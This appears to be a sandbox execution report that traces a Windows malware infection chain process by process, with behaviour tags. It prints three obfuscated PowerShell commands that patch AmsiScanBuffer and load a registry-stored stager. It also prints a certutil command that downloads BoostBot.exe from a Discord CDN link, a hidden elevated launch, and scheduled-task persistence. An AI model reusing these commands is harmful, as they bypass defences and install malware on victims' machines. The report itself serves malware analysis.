C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wIpZvHGRBscU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KnlEBXBBtJModj,[Parameter(Position=1)][Type]$DQfweCBeyE)$ZGsLAySYSQY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+'T'+''+'y'+''+'p'+''+[Char](101)+'','Clas'+[Char](115)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'ale'+'d'+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+'s'+'s'+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$ZGsLAySYSQY.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+'ig'+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$KnlEBXBBtJModj).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$ZGsLAySYSQY.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+'e'+'B'+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+''+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$DQfweCBeyE,$KnlEBXBBtJModj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+'n'+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ZGsLAySYSQY.CreateType();}$CEgkdxOHZCoil=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+'n3'+[Char](50)+'.'+[Char](85)+''+'n'+'sa'+[Char](102)+'e'+[Char](78)+''+'a'+''+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+[Char](104)+'o'+[Char](100)+'s');$zIWvWvbynGbvpW=$CEgkdxOHZCoil.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+'r'+''+'o'+'cAd'+[Char](100)+'re'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+'c,'+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BOPALydvwuQfOVbkHTS=wIpZvHGRBscU @([String])([IntPtr]);$BjIzJwOvfeFxdZtcSjwZzo=wIpZvHGRBscU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ceuZHgwvUpT=$CEgkdxOHZCoil.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'eH'+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+'l')));$TboFmfslWEyQRX=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$ceuZHgwvUpT,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$psKqxPYVFDxxKMjtC=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$ceuZHgwvUpT,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$MkKRLtx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TboFmfslWEyQRX,$BOPALydvwuQfOVbkHTS).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$OcqUVJkMPkoRgREUh=$zIWvWvbynGbvpW.Invoke($Null,@([Object]$MkKRLtx,[Object]('Am'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+'e'+''+'r'+'')));$hmwnzYPgAQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($psKqxPYVFDxxKMjtC,$BjIzJwOvfeFxdZtcSjwZzo).Invoke($OcqUVJkMPkoRgREUh,[uint32]8,4,[ref]$hmwnzYPgAQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OcqUVJkMPkoRgREUh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($psKqxPYVFDxxKMjtC,$BjIzJwOvfeFxdZtcSjwZzo).Invoke($OcqUVJkMPkoRgREUh,[uint32]8,0x20,[ref]$hmwnzYPgAQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TWAR'+'E'+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+'ta'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FUsaeTutQOZT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kzgrZbVyGWVwnZ,[Parameter(Position=1)][Type]$AxQaETeAzT)$CqPjWYZHMhJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+[Char](101)+'c'+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'mo'+[Char](114)+''+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+'l'+'e'+'g'+''+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+',S'+[Char](101)+'al'+'e'+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+'o'+'Cl'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$CqPjWYZHMhJ.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$kzgrZbVyGWVwnZ).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');$CqPjWYZHMhJ.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+'l',$AxQaETeAzT,$kzgrZbVyGWVwnZ).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $CqPjWYZHMhJ.CreateType();}$vLVIwngNSDfee=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+'e'+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$CwMUFnweKLjtYm=$vLVIwngNSDfee.GetMethod('G'+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rHKrvICHZpcefunUZmA=FUsaeTutQOZT @([String])([IntPtr]);$ibkrRFmlDkQYMUERNlEAdj=FUsaeTutQOZT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$suSvlGowIyX=$vLVIwngNSDfee.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+'3'+'2'+''+'.'+'d'+[Char](108)+''+'l'+'')));$XsKIgJADHrySdl=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$suSvlGowIyX,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$mJmycAyGkJKGUBunn=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$suSvlGowIyX,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$XKMgkJq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XsKIgJADHrySdl,$rHKrvICHZpcefunUZmA).Invoke(''+'a'+'msi'+'.'+''+'d'+'l'+[Char](108)+'');$gmYKNVIxxKabUdHzO=$CwMUFnweKLjtYm.Invoke($Null,@([Object]$XKMgkJq,[Object](''+'A'+''+'m'+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+'e'+[Char](114)+'')));$zumvVesnUQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mJmycAyGkJKGUBunn,$ibkrRFmlDkQYMUERNlEAdj).Invoke($gmYKNVIxxKabUdHzO,[uint32]8,4,[ref]$zumvVesnUQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gmYKNVIxxKabUdHzO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mJmycAyGkJKGUBunn,$ibkrRFmlDkQYMUERNlEAdj).Invoke($gmYKNVIxxKabUdHzO,[uint32]8,0x20,[ref]$zumvVesnUQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZJPEifBhLVew{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zgoWvBXqWYsVtp,[Parameter(Position=1)][Type]$qDuBbcxIat)$hnOvqCKixJK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'el'+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+'a'+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'le'+'d'+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+'A'+'u'+[Char](116)+'oCl'+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$hnOvqCKixJK.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+'N'+'a'+'m'+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+'ub'+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$zgoWvBXqWYsVtp).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+'a'+'g'+'e'+[Char](100)+'');$hnOvqCKixJK.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'ic'+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'al',$qDuBbcxIat,$zgoWvBXqWYsVtp).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+'i'+'m'+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $hnOvqCKixJK.CreateType();}$LTzlebIewGosV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+'e'+'m'+[Char](46)+''+'d'+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+'oft.'+[Char](87)+'i'+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+'eNa'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$burHAAGhiYarsx=$LTzlebIewGosV.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GWXAmjDsBJAEZxyjxFu=ZJPEifBhLVew @([String])([IntPtr]);$nhAbNaGdjETtwLBMhVgAvd=ZJPEifBhLVew @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fehNcaPOuyR=$LTzlebIewGosV.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rne'+[Char](108)+''+[Char](51)+'2'+'.'+'dl'+'l'+'')));$sbpMGqOCGKgTGq=$burHAAGhiYarsx.Invoke($Null,@([Object]$fehNcaPOuyR,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+'y'+'A')));$rUcJQgellHxmtdUEU=$burHAAGhiYarsx.Invoke($Null,@([Object]$fehNcaPOuyR,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$BEiHJGi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sbpMGqOCGKgTGq,$GWXAmjDsBJAEZxyjxFu).Invoke(''+[Char](97)+'ms'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NoaBoIcvpTvmBPpds=$burHAAGhiYarsx.Invoke($Null,@([Object]$BEiHJGi,[Object](''+'A'+'msiS'+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$AiRoLAzsWJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUcJQgellHxmtdUEU,$nhAbNaGdjETtwLBMhVgAvd).Invoke($NoaBoIcvpTvmBPpds,[uint32]8,4,[ref]$AiRoLAzsWJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NoaBoIcvpTvmBPpds,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUcJQgellHxmtdUEU,$nhAbNaGdjETtwLBMhVgAvd).Invoke($NoaBoIcvpTvmBPpds,[uint32]8,0x20,[ref]$AiRoLAzsWJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+'tag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:4152

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1516

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2072

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2616

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3044

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3196

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4592

C:\Windows\system32\certutil.exe
certutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe
3⤵
PID:4944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1492

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe
"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:2376

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:4780

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:4080

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "$sxr-powershell" /f
6⤵
PID:3956

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:4852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8LwR0RXrtD8H.bat" "
6⤵
PID:3580

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:4932

C:\Windows\SysWOW64\chcp.com
chcp 65001
7⤵
PID:1900

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
7⤵
- Runs ping.exe
PID:2540

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:3464

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST
6⤵
- Creates scheduled task(s)
PID:2044

